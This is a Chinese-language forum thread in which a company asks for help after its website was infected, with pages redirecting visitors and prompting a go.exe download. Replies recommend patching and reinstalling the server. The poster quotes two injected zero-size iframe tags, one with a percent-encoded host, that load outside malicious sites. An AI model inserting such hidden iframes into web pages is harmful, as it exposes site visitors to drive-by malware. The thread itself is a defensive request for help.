【病毒】網頁被值入木馬的問題

[shung0116]

請教各位前輩，我們公司網頁被值入木馬程式，只要開啟公司網頁都會自動導向大陸網頁(如http://www.fengduw.com)，或者出現下載頁面(要us...��解除呢？
(我們有去每支程式，將有被串改的檔案逐一來修正，可是最後沒辦法根除)
煩請各位前輩指點
謝謝

[ㄚ一]

請檢查網頁原碼被加了些什麼料

[yuhsheng]

網站首頁index.htm前幾行被加料了,約200處也有,約400行處也有.
網站主機應該有漏洞.

[shung0116]

不過現在的問題點是，手動改完網頁後，過沒幾天又會在發作，或者發生在別的網頁，但是我使用MCFee卻偵測不到病毒，是否有辦法可以完全根除呢？
症狀如下：
1.開啟網頁會要求下載go.exe檔案
2.在網頁原始檔最後面會被嵌入下列的語法
<IfrAmE src=http://dhz.810810.org width=0 height=0></IfrAmE>
<IfrAmE src=http://%6C%6C%38%30%2E%63%6F%6D/xx/ip.htm width=100 height=0></IfrAmE>
3.開啟網頁會導向http://www.fengduw.com大陸網址

煩請前輩指點
謝謝

[rogershu]

伺服器的漏洞有修補了嗎?

[yuhsheng]

主機不知是否已被加入什麼東西,不要信任防毒軟體,即使抓得到,也未必能移除.
建議還是把主機重裝吧!上所有的Patch,並檢查主機開放的權限.